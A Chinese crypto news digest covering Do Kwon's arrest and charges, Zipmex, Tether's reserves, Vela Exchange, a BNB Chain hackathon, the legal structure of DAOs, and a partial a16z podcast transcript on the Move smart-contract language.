日，韩国检察官和司法部官员上周前往塞尔维亚，以寻求帮助追捕 Terra 创始人 Do Kwon。首尔检察官办公室已对此消息予以确认，检察官办公室和司法部拒绝就 Do Kwon 的确切位置置评。 2 月 17 日，美国证券交易委员会（SEC）发布公告称，已向美国纽约南区地方法院提起诉讼，指控总部位于新加坡的 Terraform Labs PTE Ltd 和 Do Hyeong Kwon 策划了数十亿美元的加密资产证券欺诈，涉及算法稳定币和其他加密资产证券，违反了《证券法》和《交易法》的注册和反欺诈规定。 根据 SEC 的指控，从 2018 年 4 月到 2022 年 5 月该计划最终崩溃，Terraform 和 Do Kwon 通过发行和出售一套相互关联的加密资产证券从投资者那里筹集了数十亿美元，其中许多是在未注册的交易中进行的，包括基于证券的掉期交易 mAssets 以及被称为算法稳定币的加密证券 Terra USD（UST）。 此外，SEC 还指控 Terraform 和 Kwon 向投资者提供并出售了其他投资其「加密货币帝国」的方式，包括加密资产证券 Token MIR（或 Mirror Token）和 LUNA 本身。Terraform 和 Kwon 向投资者推销加密资产证券，并一再声称这些 Token 会增值。 3 月 16 日，韩国检方扩大了与海外法律机构和同行的合作，以协助逮捕和引渡韩国国民 Do Kwon。 3 月 23 日，黑山内政部长 Filip Adzic 在其社交平台宣布，Terraform Labs 联创 Do Kwon 在黑山波德戈里察机场因伪造证件被警方拘留，韩国官员随后也证实了 Do Kwon 确实在黑山被捕。据知情人士透露，Do Kwon 的个人护照曾在塞尔维亚被扣留。 3 月 24 日，塞尔维亚科技刑事检察官办公室和美国联邦检察官办公室透露，Terraform Labs 首席执行官 Do Kwon 与其一起逃跑的 Chai Corporation 前首席执行官 Shin Hyun-seung（又名 Daniel Shin）在塞尔维亚成立了一家与加密资产业务相关的公司。据悉，检察机关正在确认 Do Kwon 是为了在塞尔维亚正式开展虚拟资产业务而设立法人，还是为了洗钱等而设立皮包公司。 在黑山警方逮捕 Terraform Labs 创始人 Do Kwon 数小时后，美国纽约联邦检察官对 Do Kwon 提起刑事欺诈指控。根据诉状，Do Kwon 被控串谋诈骗、商品欺诈、证券欺诈、电汇欺诈和串谋操纵市场，美国检方寻求将 Do Kwon 引渡到美国，同时韩国检方也在寻求将他引渡到韩国。 相关阅读：《Do Kwon的人生：天胡开局，溃败收场》  ( 6 min )
    外媒：Zipmex的救助投资者未能付款，员工被告知或将清算
    PANews 3月24日消息，据加密媒体The Block的推文，加密交易所Zipmex的救助投资者未能付款，公司警告员工Zipmex或将清算。 去年7月，Zipmex在加密借贷公司Babel Finance以“异常流动性压力”为由停止提款后，在新加坡申请债务债权人保护。去年11月消息，知情人士称Zipmex交易所或将签署超1亿美元的救助计划，泰国亿万富翁Prayudh Mahagitsiri的儿子Chalermchai Mahagitsiri创立的风险投资公司 V Ventures将主导此次救助计划，并将换取Zipmex 90%的股份。  ( 4 min )
    Tether CTO：公司有约16亿美元的超额储备来支持USDT稳定币
    PANews 3月24日消息，据CNBC报道，稳定币发行商Tether首席技术官Paolo Ardoino表示，公司估计本季度超​​额储备将增加7亿美元，这将使Tether的超额储备达到16.6亿美元，这将是Tether超额储备首次突破10亿美元大关。所以这笔钱留在主要公司Tether中，以便进一步将稳定币资本化。 CoinMarketCap数据显示，USDT市值目前为785.4亿美元，较3月1日的709.8亿美元增长10%。  ( 4 min )
    Vela Exchange ：增速亮眼，Arbitrum上衍生品赛道的又一匹黑马
    原文：《Alpha Track | Vela Exchange ：衍生品赛道的一匹黑马》 作者：Cabin Crew 注：本文主要介绍去中心化衍生品交易所 Vela Exchange ，不作任何投资建议。 整个加密市场的衍生品交易量长期高于现货交易量，但在去中心化交易所中，衍生品市场规模还远远小于现货市场，过去180天内去中心化交易所的衍生品交易量仅占现货交易量的 11%，存在较大的发展空间。 目前去中心化衍生品市场按 TVL 和交易量占比来看，GMX和 dYdX 是赛道内的领头羊，占据了去中心化衍生品市场 70% 以上的 TVL 以及 80% 的交易量。 衍生品赛道中近期增长最快的是 Vela Exchange，在过去一个月内 TVL 增长了近 90%，目前在所有衍生品 DEX 中排名第 4，主要归功于其产品的定位区分以及有效的激励措施。 1.机制 Vela Exchange 是 Arbitrum 上的衍生品 DEX，借鉴了 GMX 的模式，存款人将资金存入后生成 VLP，可获得平台收入分配并从交易者的亏损中获利，交易者通过向 VLP 池子借入资金进行杠杆交易。主要区别在于 Vela Exchange 不像 GLP 那样打包了一篮子货币（BTC、ETH、USDC 等），VLP 完全由 USDC 构成，类似于 CEX 的 U 本位合约，用户的理解门槛低。 Vela Exchange 目前支持永续合约交易，未来还将上线现货及 OTC 交易市场。同时由于本金完全由 USDC 组成，Vela Exchange 能够提供广泛的交易标的，理论上只要预言机支持且具备一定的深度的品种都可以在其上交易。 目前 Vela Exchange 提供了三类品种的交易：加密货币（BTC、ETH、DOGE、SOL、MATIC、AVAX），外汇（欧元、英镑、日元），加密市值（即将上线 USDC 总市值合约）。 2.费用分配 Vela Exchange 对 crypto 类交易的开仓/平仓收取 0.1% 的手续费（与 GMX 相当），外汇交易手续费则是 0.01%，通过质押平台 token VELA 可以获得 2%-50% 的手续费折扣。 手续费收入按以下比例分配： 3.近期数据 Vela Exchange 在近期的公开测试中表现亮眼，TVL、交易量、用户数、手续费收入等数据都有快速的增长。 1）目前 TVL 50M，30 天内增长近 90%； 2）上线一个半月时间内累计交易量$4.6B，过去 7 日平均交易量$90M； 值得注意的是，Vela Exchange 截止目前 57.4% 的交易量来自外汇交易，Crypto 的交易份额只占了 42.6%，Crypto 日均交易量约为 GMX 的 1/10； 3）累计手续费收入$3.1 M，日均手续费收入约$70k，约为 GMX 的 1/6； 4）累计用户数超过 4.2 万，日活 3000 左右，与 GMX 相当； 5）目前 VLP 价格为$1.097，年化收益率约为 70%； 优势： 1）Vela Echange 只使用 USDC 作为底层资产，相当于 CEX 的 U 本位合约，相对 GLP 而言用户的理解门槛低，几乎不需要学习成本； 2）Vela Exchange 通过与Axelar Network 和 Squid 的合作，支持跨链资金一键兑换为 USDC 存入 VLP 中，未来还将支持 OTC 交易，对用户而言使用起来非常便捷； 3）Vela Exchange 能提供更多样化的交易标的，理论上只要预言机支持且具备一定的深度都可以交易； 劣势： 1）底层资产完全是中心化稳定币 USDC，存在信任成本，当 USDC 脱锚时会引发 VLP 的大规模撤出，可能会引发大量清算，这是 Vela Exchange 的系统性风险； 2）Vela Exchange 对多空双方都收取资金费率，牛市的时候空方可能不会选择使用 Vela Exchange ，而是会去中心化交易所赚取资金费率。在市场单边行情时期，可能会因为多空比例的倾斜，导致 VLP 面临 U 本位损失。这点上来说GMX 相对会更容易被用户接受，因为 GLP 的机制设计类似 AMM 中的无常损失，单边行情下只会有币本位的损失，U 本位始终是在水上的； 3）目前 Vela Exchange 的日活用户数与 GMX 相当，但 Crypto 类的交易量仅为 GMX 的 1/10，可能存在部分用户为了空投激励在外汇市场（费率低）上刷量的行为，激励结束后能否保持增长势头有待观察； 从整体上来看，Vela Exchange 将 GMX 的部分机制与中心化交易所的功能相结合，提供现货、U 本位永续合约、OTC 交易，并且支持跨链资产存入，用户入门门槛较低，产品更容易上手。同时能支持广泛的交易品种，面向的用户群体更多。Vela Exchange 的公测已经接近尾声，据官方公布，正式版本将提供更多的交易对、新功能、增强的基础设施、发布激励等，值得期待后续的表现。  ( 6 min )
    BNB Chain超级开发者系列活动进入第二阶段，Zero2Hero黑客松即将开启
    BNB Chain Zero2Hero黑客松的报名正在火热进行中，这一黑客松得到了Google Cloud及多家Web3合作伙伴的支持，包括Chainlink Labs、Axelar、Nodereal、Polyhedra、Hacken、RSS3和Port3等。 2023年3月23日，作为全球活跃用户数量最多的智能合约区块链，BNB Chain宣布了Zero2Hero 黑客松，这是其为期六个月的在线编程训练营、黑客松和孵化器项目的第二个阶段，将于4月17日至5月14日举行。 BNB Chain的Zero2Hero超级开发者系列活动得到了Google Cloud及众多Web3合作伙伴的支持，包括Chainlink Labs、Axelar、Nodereal、Polyhedra、Hacken、RSS3和Port3等。 这次黑客松活动是为期六个月的超级开发者系列活动的一部分，该系列活动于今年2月份启动，旨在将入门开发者转变为成功的项目创始人。参赛者可以直接扫码或者点击链接报名。 此次黑客松活动将全球的区块链专业人士和开发者汇聚在一起，共同合作解决推动区块链行业发展的问题和项目。 “作为六个月超级开发者系列活动的一部分，Zero2Hero黑客松是开发者展示技能、与行业中最优秀的人竞争的一个激动人心的机会。在我们的战略科技合作伙伴Google Cloud以及Chainlink Labs和Axelar等Web3合作伙伴的支持下，我们很高兴能够聚集一批才华横溢的开发者和创新项目。”BNB Chain的开发者关系负责人Zoe Wei表示。 在Web3领域，BNB Chain与多家领先公司合作，其中包括官方预言机合作伙伴Chainlink Labs，官方隐私合作伙伴Automata Network，官方节点提供商Nodereal，官方开发工具Tea，官方安全合作伙伴Hacken，官方链上和链下社交内容聚合器RSS3，以及官方基础设施提供商PolyhedraZK。 此外，Axelar、Port3和Polyhedra还会支持BNB Chain的跨链、Socialfi、基础设施和扩容等赛道。这些合作伙伴对于对于此次黑客松活动的成功落地，展示区块链行业的人才和创新至关重要。 此次黑客松活动将设有7个方向：DeFi、基础设施和扩容、SocialFi、跨链、NFT、Gamify & Metaverse、Greenfield和创新。参与者将有机会在每个方向上竞争一等奖15,000美元、二等奖6,000美元和三等奖4,000美元的现金奖励。每个方向的一等奖获得者将获得一张孵化器项目的门票，获得更多的技术、Web3营销、代币经济设计、社区建设等方面的支持。黑客松活动还设有在赞助商提供的赏金任务。 在黑客松活动期间，BNB Chain及其合作伙伴将提供20多场技术研讨会，帮助参赛队伍学习最新的技术。参与者将获得多个开发资源的免费访问，比如云和节点服务，而合作伙伴的技术团队日程表也将向参赛队伍开放。 黑客松评审主要看重的是参赛者能否在BNB Chain测试网上推出项目的完整MVP，但基于现有BNB Chain dApp上，实现某个简洁和创新功能也是可以接受的。项目应在BNB智能链（BSC）测试网络上运行，并可供测试和评估。 为加速Web3开发过程，这一为期6个月的开发者系列活动已经启动其第一阶段编程训练营，训练营的合作方包括中亚最大的科技园区Astana Hub成立的区块链中心，以及哈萨克斯坦国家银行的支付和金融技术发展中心。其他合作伙伴包括香港政府支持的Blockchain Academy Group和Solidity培训领域的领导者Encode Club，该公司已与OpenSea、Solana和Ledger合作，为100多个项目的超过5万名开发者提供培训。  ( 4 min )
    DAO的法律结构问题（一）：重新定义DAO
    撰文：Mike Wawszczak 翻译：卡丘 zircon 校对：shawn wu 这是「 DAO 的法律实体结构」系列中的第一篇文章。第一部分重新定义了 DAO 及其律师们在法律结构方面所面临的基本问题，第二部分和第三部分概述了两个潜在的解决方案，随着有关 DAO 的法律不断发展，还将有更多的部分。 让我们从头说起：什么是 DAO？ 这要取决于你问谁了。一个去中心化的自治组织是指： 等等等等，不胜枚举。 怎么给 DAO 下个定义这么困难啊？ 由于很难说清什么是去中心化自治组织，无法给它下个明确的定义：你很难将它们分门别类，来让治理更加容易。除非能清晰地界定他们所管理的主体，否则官僚们根本无法开展工作。他们必须把经济活动简化成「收入」或「投资」，才能对其征税；必须把人分成「公民」或 「外国人」，才能给予（或撤销）特权；必须把组织分成「公司」或「合伙企业」，才能分配义务和责任。这样的例子还有很多。 对于官僚来说，定义不明是个大问题，这让他们不知道应该应用哪条规则。当组织中的个体都很容易被定义，但组织的定义依然模糊不清时，就更令人抓狂了。DAO 的资产和成员资格，通常能透明地在公共区块链上验证。但是，将 DAO 分门别类，就和将「场景」、「运动」和「市场」分类一样，只有细致到一定程度，才能实行有意义的监管——我们也许很容易定义「朋克摇滚场景」，但对那些广义上「场景」，又该如何制定清晰的规章制度呢？如果可以只专注于可定义的角色（比如朋克酒吧，时装店，厂牌等等）与可定义的行为（比如滋扰和猥亵法）上就容易多了。 和公司、合伙企业等其他定义明确的组织相比，是什么让 DAO 与众不同？事实上，没有什么不同—所有企业都由一群自愿为一个共同目标奋斗的人组成。每一群人之间都有一系列独特的合约，包括实际和潜在的关系、交易和纠纷。要将这些简化为可管理的明确指令，成本昂贵，超乎想象。为了估算成本，可以将负责管理经济活动的官僚机构的预算相加。这是个天文数字。 公司、合伙企业和 DAO 都有共同的基本结构；他们都由一系列合约组成（不论是传统合约还是智能合约）。在应用层面，所有企业看起来都差不多。要了解 DAO 的不同之处，我们得看看协议层面，即它们运行事务的协调机制。 在分布式账本出现之前，企业能用的最佳协调机制是自由资本主义民主国家提供的法律 - 金融协议。一个（相对）稳定的货币体系、（相对）自由的财产和合同权利制度，以及（相对）独立公正的司法机构是该协议的三个关键要素，为美国及其盟友带来了前所未有的繁荣。其他的协议也被推行过，最值得注意的是由苏联实施的第二世界协议，但随着时间的推移，为了获得更丰厚的回报，聪明钱都流向了西方。（即使是施行共产主义的中国，为了更好地融入西方，最终也开始运行自己硬分叉版本的自由资本主义协议。） 自由资本主义协议和第二世界协议都是非数字化的、落实在纸面上并由人执行的协议。我们把那些负责执行的人称为「官僚」，除非协议里的活动定义明确，否则他们无法履行职责。 他们是如何做到这一点的？用官僚们仅有的两种工具：胡萝卜加大棒。 对于国家来说，要清晰的界定一个企业，需要让企业通过注册成公认的法律实体，如有限责任公司、基金会公司、非营利协会、普通合伙企业等等。企业须遵守与其有关的每项法律，依法规范其行为，并根据要求移交国家认为必要的任何资产或信息，如果对此有任何疑问，可以向当地法院上诉，法院会根据协议进行裁决。 签署完公司注册文件后，就走完了全部流程，一个新的法人实体诞生了：这就是公司。注册后，依据法律规定，企业人员只需对公司承担有限责任。当他们代表公司或者依据公司指示办事时，不是以他们个人的名义，而是以公司法人的名义在活动。因此，将由公司承担责任。面对负债，也是用公司的资产来还，与企业人员无关。 今天，大多数 DAO 都不能、或者不愿意注册成为公司，因为这种组织的明确性和去中心化、自治原则之间存在内在冲突。DAO 之所以存在，是因为自由的人们更喜欢更民主、无等级、更平等、更少强制的组织，这让组织天然的很难被明确定义。成为法人的 DAO 如果选择在传统的规则下运行，则必须接受一个中央集权机构——国家——作为其最终仲裁者，从而牺牲了去中心化和自治的能力。 法人资格加上有限责任，去中心化加上自治，鱼和熊掌不可兼得。 面对这种权衡，大多数组织选择后者就不难理解了。但是，这样做，就会使组织成员面临风险。这并不是杞人忧天—— 2022 年 5 月，加利福尼亚州提起诉讼，将一个 DAO 和它的几名核心贡献者与投资人，一并列为被告： 「该『Defi 协议』称其为所谓的 DAO，或者说去中心化自治组织，这没有任何法律手续，在法律上不被承认。在美国法律中，这种情况有另一个定义：普通合伙。这意味着各个合伙人对原告负有连带责任，必须全额偿还其债务。」 原告律师提醒了所有 DAO，如果 DAO 不让自己在法律上明确定义，那么律师也会替它们定义。暂且不谈默认情况下将普通合伙原则应用于 DAO 是完全不讲逻辑的，为打击拒绝法人胡萝卜的 DAO ，这些就是官僚和审判律师伸出的大棒。 问题就在这里：有法人身份才能适用于公司的法律条文。很多在法律上定义不明的组织，在没有条文里包含的银行、法院的支持下，根本无法运作。所以他们要么退一步注册成为公司，要么被迫成为地下组织，周旋于粗暴的法律条文。 DAO 是第一个有能力做出不同选择的，定义不明的组织。 所以，回到我们最初的问题：什么是 DAO？ DAO 是一种建立在无信任和无许可协调技术之上的组织形式，允许任何人构建和使用新的数字、网络化、软件执行的法律 - 金融协议。这些协议不需要清楚地知道用户是谁，因此他们可以自由地组织和协调。任何人都可以围绕关系和义务、财产和合同权利以及解决争议，写出更有创造性的规则。任何人都可以自由加入或离开这些组织。 尽管如此，在有新的法律条文能够完全支持复杂企业结构之前，我们还有两个相对不完美的选择： 然而，正如区块链之间的跨链桥容易遭受恶意干扰一样，从现实到数字协议的桥梁让 DAO 也容易受到国家干扰。将 DAO 「改装」至传统的框架之中不可避免地需要给 DAO 法律上的明确定义，至少在一定程度上是这样，上述针对去中心化与自治的权衡也来源于此。 没有简单、显而易见的正确答案。对 DAO 来说，一份强有力的使命宣言和一套核心价值观是重要的指南，找到训练有素的律师作为法律顾问也同样重要。他们最有能力帮助客户建立桥梁，使客户们的 DAO 能够根据需要在传统法律上运作，来支付税款、持有资产、雇佣员工，并保护自己免受恶意行为者的侵害。 正如他们所说，我们还处在早期阶段。在律师与他们的客户合作的过程中，他们会不断打造符合去中心化和自治原则的、更好的风险规避策略，最优的实践结果会逐步浮现。在此之前，建立法律实体可以成为 DAO 部署明确的战略来保护自己及其贡献者的有效方式，我们将在第二部分中讨论这一点。  ( 5 min )
    a16z对话Move语言之父：为何Move是未来智能合约的重要方向？
    原文：《Programming Languages & Crypto》 编译&整理：Sui World 去年 a16z等一众机构力捧以Sui 为代表的 Move 公链，让 Move 语言在Meta Diem 的废墟上大热归来；与此同时，从SuiMove 出现那一刻起，不看好的声音也一直存在： 如果仅仅是因为 Move 语言有可能比 Solidity 或其它开发语言更优秀，我们就一定需要一个新的智能合约语言，并乐此不疲地从头开始搭建一个新Layer1吗？ 近日，a16z Crypto团队与 MystenLabs 的联合创始人兼CTO 、Move语言之父Sam Blackshear 进行了一次主题为《Programming Languages & Crypto》的播客对话，探讨了为何 Move 是未来智能合约的重要方向。 在该次播客中，a16z Crypto 与Sam Blackshear 从传统编程语言与智能合约编程之间的差异和相似之处到辩论区块链的独特限制和机遇，展开讨论了Move语言的设计思想、面向对象和资产的编程、安全性，以及分享了形式化验证、治理和社区工具、跨平台适应性等话题。 主要分享内容包括： 1、编程语言与智能合约历史 从传统编程、到智能合约编程，再到Move编程。Move是最早的关于如何设计语言以适应类型系统、静态类型和编译时检查等问题的语言。 2、Move 智能合约的创新 EVM 过度适配了平台的实现细节，这些实现细节是为以太坊设计的。开发者最终不得不继承以太坊做出的许多设计决策，包括一些让以太坊难以扩展的错误。 Move在设计时，没有将任何区块链特有的东西加入到核心语言中。源代码语言层面的创新将会相当重要，Move最终能够提供的是代码验证器和VM级别的保护，以免受其他程序员的攻击。 3、Sui Move的设计思想 Move 是一种可执行的字节码语言，用于执行用户交易和智能合约。在Sui Move 中，验证者可以更有效地进行并行化，这使得存储、执行都变得更容易，而不必将这些东西编码到协议级别，并让用户和程序员来考虑。 4、安全性 在智能合约世界中，我们处于一个约束状态。我们编写非常少量的代码，而且必须完美无缺，安全性必须是最首先要考虑的事情。Move 安全性是既要防止程序员自我脚踏，还要尽可能为他们提供正确的原语，以便他们能够防御攻击。 5、面向对象和资产 Move 被设计为一种面向对象和资产的智能合约编程语言，之所以被设计成这样，是因为大多数 Web2 面向对象的编程语言就是这样。在Sui Move中，将事物的中心点放在对象上，高度激励能够尽可能精确地表示细粒度访问。Sui Move 全局存储的结构是一个从对象ID到对象ID的映射。 6、安全性对比 Move 通过构造消除了重入和智能合约编程中缺失的权限检查问题。Move中，对象所有权信息实际上存储在对象元数据中，这不是程序员可以控制的东西。Move Prover 就是为了防止语言编写智能合约的错误而设计，可以避免开发者犯很多基本的错误。 7、智能合约语言的治理 最初，Move是在Facebook开发的，没有真正的治理。我们非常谨慎地扩展语言。简洁性是最主要的东西，但我们会积极地扩展它。Sam Blackshear 有一个非常具体的愿望，比如Move 被设计为一种跨平台语言，其中一些链EDM 的基本功能仍应适用，并且覆盖了智能合约开发能手和Web2新人，极具灵活性。 8、给开发者的学习建议 阅读大量代码，这是了解语言的最佳方式。乐意分享和深入探讨，并找到那些真正喜欢和他人分享你的代码，一起构建开源社区的人们。任何可以让你的工作变得更轻松的工具，你都应该学习它的工作原理。 以下为播客全文，全文约25000字，阅读时间约30分钟。 整理翻译：Sui World 主持人 Sonal Chokshi 介绍 欢迎来到Web 3.0，这里是a16z Crypto团队制作的关于建立下一代互联网的节目。我是您的主持人Sonal Chokshi。 本节目旨在为寻求了解和深入探讨加密和Web 3.0相关事物的任何人提供帮助，无论是开发人员、创作者、建筑师、企业领袖还是政策制定者。我们现在开始全新一季的节目。今天的节目主要讨论编程语言和加密货币，既适用于现有的智能合约程序员，也适用于其他寻求进入这个领域的开发人员。对于那些对编程语言的演变和出现感到好奇的人来说，这也是一个不错的选择。 我们今天的特别嘉宾是MystenLabs 的联合创始人兼CTO Sam Blackshear，该公司正在为Web 3.0的去中心化未来打下基础。Sam在编程语言方面有着资深的历史，从他的博士学位到在Facebook工作，再到创建并成为Move和开源编程语言的作者，用于构建智能合约。我们将更多地谈论这个话题。 在整个节目中，我们还邀请到a16z Crypto的智能合约研究工程师 Noah，他和另一位伙伴最近为以太坊开发了名为 Helios 的轻量级客户端并赢得了具有挑战性的gas优化。 我们还邀请到a16z Crypto 的工程师负责人Eddy Lazzarin，在此之前，Eddy 在 Netflix 从事软件工程，在 Facebook 从事数据工程和数据科学。需要提醒的是，以下内容均不构成投资、商业、法律或税务建议。 1、编程与智能合约的历史 主持人 Sonal Chokshi： 我们将从传统编程的历史开始，第一个发言的是Noah，接着是Sam Blackshear 和 Eddy。 a16z Crypto Noah： 我们想了解编程历史如何影响智能合约编程的历史，因为我觉得有三个东西，传统编程、智能合约编程，还有Move语言。这三件事都有它们自己的历史，对吧？ Sui CTO Sam Blackshear： 没错，我喜欢这种框架。人们用语言来设计语法或让人感到开心，这是对的，但它不仅仅是这些。所以我很喜欢这种大局观的框架。 a16z Crypto Eddy Lazzarin： 就在这个基础上，传统编程有着过去二三十年来的各种趋势。传统编程语言已经发生了变化，有一些热门话题来来去去。曾经有很长一段时间，动态编程语言和非常宽松的类型检查是非常受欢迎的。通常认为，跳进去，忘记类型，忘记所有技术细节，只是编写代码是更符合人体工程学的方式。 Sui CTO Sam Blackshear： 但最近，人们开始更深入地思考类型系统、静态类型和编译时检查等问题，以便在程序运行之前尽可能了解程序的所有细节。这些趋势不断变化。然而，对于智能合约编程来说，由于它是如此新颖，我们还没有看到智能合约编程中这种类型的历史，这是非常不同的。 我认为Move语言是我们所看到的最早的关于如何设计语言以适应这一点（类型系统、静态类型和编译时检查等问题）的证据。我很想了解我们期望会发生哪些变化，例如静态和动态类型等智能合约编程中可能出现的话题？这些话题可能还没有出现，因为目前只有一种语言，即Solidity。 主持人 Sonal Chokshi：那么，这又与转向智能合约编程有什么联系呢？再次请Sam回答？ Sui CTO Sam Blackshear： 在这个智能合约空间中，随着EVM作为智能合约语言的第一批进入者，存在着不同的趋势。人们不知道想用智能合约做什么？我们如何编写它们或任何这些类型的事情因此，我认为灵活性更加重要，以尝试了解需要发现使用情况的专家的类型。我感觉现在我们已经知道了，或者至少我们对构建块有一些了解。 智能合约的趋势是极其领域特定的，你为资产定义模板，定义转移资产的策略，检查访问控制和权限。 这就是基本的，你不会用智能合约语言编写编译器或操作系统或任何这些类型的事情。因此，它们非常非常好，它们与通用编程语言相比的优势。 我认为人们低估了即使ERC-20标准发生在 EVM 可以编程的很久之后， EVM 甚至被认为是编写以太坊程序的基本构建块之一。我只是没有看到任何显而易见的证据，证明最基本的东西在此之前是明确的。 所以你是对的，现在你可以把类型当作理所当然的事情。我认为类型和这些东西的绕过，是可以承受一定技术债务的。如果规模很小，你只想快速移动，而且代码可以扔掉，那么这种技术债务是完全可以接受的。但有趣的是，你把它用公司或创业公司的规模来描述，小公司在快速成长，每个人都能理解整个代码库，这种技术债务是可以容忍的。 但是，当它非常非常大时，有大量的人更改代码，他们不知道正在构建的新对象和系统的后果。将其放入类型系统中，使您以明确、直接的方式编写代码时遇到障碍，而不是意外地创建后来有人会撞上的玻璃围栏。 例如，就像你们谈到的，能够防止复制，能够设置资产的最大供应量。这些约束非常重要，无论项目的规模如何，都需要保持。它们是维护项目的健全和安全非常重要的约束条件。了解这些界限意味着您现在可以创建编程语言，以允许您强制执行它们。这就是我如何看待Move语言的方式。 随着我们了解到需要做正确的事情所需的约束类型，我们现在有能力将它们包含在语言本身中。因此，我确实认为它与类型有些相似，就像你所说的那样。 你提到类型对于程序的健全性和安全性非常重要。你们说动态类型可能适用于小型项目，但随着项目的增长，应该使用静态类型。我有点不同意，我认为完全静态的类型可能更适合。这可能是一个新颖的看法。它是为了程序员的健全性。我见过最可怕的事情是，当我按下我的快捷键“control k”时，它会告诉我函数签名是什么。当我写Python时，这让我感到恐惧。我看着函数签名，只看到参数的名称。我就像，你到底想要我做什么呢？ a16z Noah：我不敢相信人们会接受那种写出代码后就永远不会再看一眼的写法。 a16z Eddy Lazzarin：他们接受的是默认假设，即他们可以在心中记住系统的要求。 a16z Noah：但是即使是100行的程序，我也觉得无法默认这一点。 Sam Blackshear ：它可以运行，但它并不完美。 a16z Eddy Lazzarin： 我认为你们说的对。而且我认为这种心态已经演变了。以前，类型系统是用来保护程序员免受同事伤害的。当你的创业公司变得太大时，它就很有用了。但现在它更像是在保护我自己。 在智能合约的环境下，它是在保护我免受攻击者的攻击。这是真正的不同之处，因为在普通程序中，你不会在攻击者受到类型系统的约束时部署程序。攻击者可以使用其他语言编写机器代码。你只需要保护你自己的防火墙就行了。但在这里，我编写这个很好的类型对象，它将流入攻击者的代码并保持其完整性。类型系统必须保证我的安全。 就像你说的那样，这是一个很棒的工具，它给你带来了不同的需求，你需要强制执行它们，比如防止复制。这不是你在普通类型系统中需要考虑的问题，或者防止删除或确保你按某种方式使用或销毁某个值。这些都是因为我们正在研究智能合约并试图为这些用例提供有意义的类型系统，因此我们最终会将这些东西加入move中，也可能会加入未来的智能合约语言中。 主持人 Sonal Chokshi： 实际上，伙计们，让我们更多地谈谈传统编程和智能合约编程之间的其他差异。但在我们进一步讨论之前，你们能不能快速介绍一下智能合约程序员可以使用的语言呢？我认为我们需要了解一下大局，因为我想了解一下现状，比如Solidity、Viper等。知道哪些内容能够让我们更快地入门。 Sui CTO Sam Blackshear ： 是的，我想基本的情况是，如果你想编写智能合约，你几乎总是会使用solidity。除非你恰好在几个其他较小的生态系统之一。 如果你在Polkadot生态系统中，你会使用ink!（ Sui World 注：ink!是由Parity开发的智能合约语言，用于在Rust中编写智能合约并编译为Wasm代码），它是一个现有的编程语言。如果你在StarkNet生态系统中，你使用Cairo （Sui World注：Cairo 是STARK 证明系统的其中一个编程语言）。 但是大部分情况下，如果我要给出建议，让你学习如何编写智能合约，我会建议你学习一些Solidity，然后学习EVM。你可能还想使用Viper，唯一的缺点是Viper是较新的，可能更容易出现漏洞。我记得几年前，在验证存款合约时，他们发现了Viper编译器中的一堆漏洞。发现这些漏洞的人现在在16z工作，他是Day June，他是一个形式验证专家。 因为Day June是形式验证专家，所以现在在a16z工作。而现实情况是，你需要学习一些内容，你需要学习一些语言。 你甚至需要深入了解EVM，如果你想成为一个真正优秀的智能合约工程师，你需要了解EVM到一个荒谬的程度，以至于你可以说出每个操作的gas成本，他们能够告诉你确切的与gas成本有关的代码。这就是我们目前生活的世界。 a16z Eddy Lazzarin：也许有一点值得一提的是，作为一名软件工程师，你总可以了解你正在运行代码的机器。有很多需要了解的关于编程环境的知识。但是在智能合约编程中，环境非常丰富、非常复杂。有很多上下文需要了解，这几乎与语言本身无关。这就是在你周围发生的事情，周围有哪些对象，不同的代码如何被调用。这是一件非常奇怪的事。 主持人 Sonal Chokshi：那么，最接近学习Solidity的人是懂JavaScript的人，这是真的吗？ Sui CTO Sam Blackshear ：大家都说是JavaScript，因为它使用“function”这个关键词，就像JavaScript也用到了。但不幸的是，它们并不是非常相似。 a16z Eddy Lazzarin：从语法上看，Solidity确实继承了很多JavaScript的特性。如果你眯着眼睛或情绪不好，可能会觉得相似，但实际上完全不同。虚拟机环境差异巨大，所以共同点很少。 主持人 Sonal Chokshi：有什么相似的编程语言吗？ a16z Noah：是的，我认为没有直接相似的编程语言。如果你熟悉Was（Sui World注：WebAssembly Studio，一款在线工具，用于将C/C++ 和Rust 代码编译为WASM 格式。），并试图在一个需要高度隔离的环境中写代码（比如Surplus），这可能是最接近的了，这些代码要独立执行，但又需要一定程度的通信。但它仍然不是很相似，思维方式完全不同，表面上的相似可能会有危险。 a16z Eddy Lazzarin：也许相关的是编程语言历史上的一些重大错误。我不知道在区块链方面是否有一些走下了错误道路的恶劣历史。我们是否走了一些可怕的道路？ 主持人 Sonal Chokshi：这是个好问题。 Sui CTO Sam Blackshear ： 这是个好问题。1977年，C语言发布，也是Standard ML发布的年份。Standard ML具有极大的影响力。现在，有OCaml语言、Rust语言都受到其极大的影响，Move语言也受到其影响。但这些思想已经存在了很长时间。我想很多人都在思考一个替代的未来，在那个未来中，C语言没有成为主流，而是Standard ML的思想被广泛接受，如强类型、内置安全性。 主持人 Sonal Chokshi：那么，这种计算机技术的发展趋势是什么呢？我并不是说这是一个错误，但是我认为像Standard ML 这样的语言即使在今天看起来也非常现代化。想象一下那个另类的宇宙是一个有趣的事情，当我第一次发现时就被震撼了。 a16z Eddy Lazzarin：好奇心作祟，为什么你认为像C语言以及类似的语言，它们如此直白、如此命令式？它们在相对较低层次上思考计算机，作为编程语言它们并没有做很多事情，这就是我对 C语言的看法，为什么我们走了这条路？ Sui CTO Sam Blackshear ： 我认为当时的硬件限制迫使你使用C语言，如果你想要编写高效的程序，或者推动计算机的边界，我认为如果你向前推进硬件，你会选择另一条道路。但是我认为，函数式编程很难，它在很多方面都是反直觉的。我不是说C语言不难，但我觉得它更容易入门。然后你意识到，我已经做了非常复杂的事情，或者说很难推理，但是为时已晚。这是个好点子，函数式语言确实有更陡峭的学习曲线，但是一旦你掌握了，你会意识到，我可以很好地独立地思考我的代码，事情很好地解决了。 a16z Eddy Lazzarin：我认为如果你很多地思考计算机是如何在硬件层面上工作的，那么像C语言这样的语言就更直接了。但如果你对编程语言不是很了解，那么C语言就更容易入门。但是如果你非常了解编程语言，那么我认为 ML 和函数式编程这些类型的语言有更多的东西值得去探索。 Sui CTO Sam Blackshear ： 这是一个大局观的答案。但我想说的是有关小规模的“计算机语言错误”的问题。 a16z Noah： 所以，我对此有些犹豫，因为我一直听说函数式编程有多棒，但是我发现有点难以理解。但我一直想知道的问题是，如果函数式编程真的那么好，为什么它从未能够克服当前编程语言的网络效应呢？它的这种局面令我惊讶。 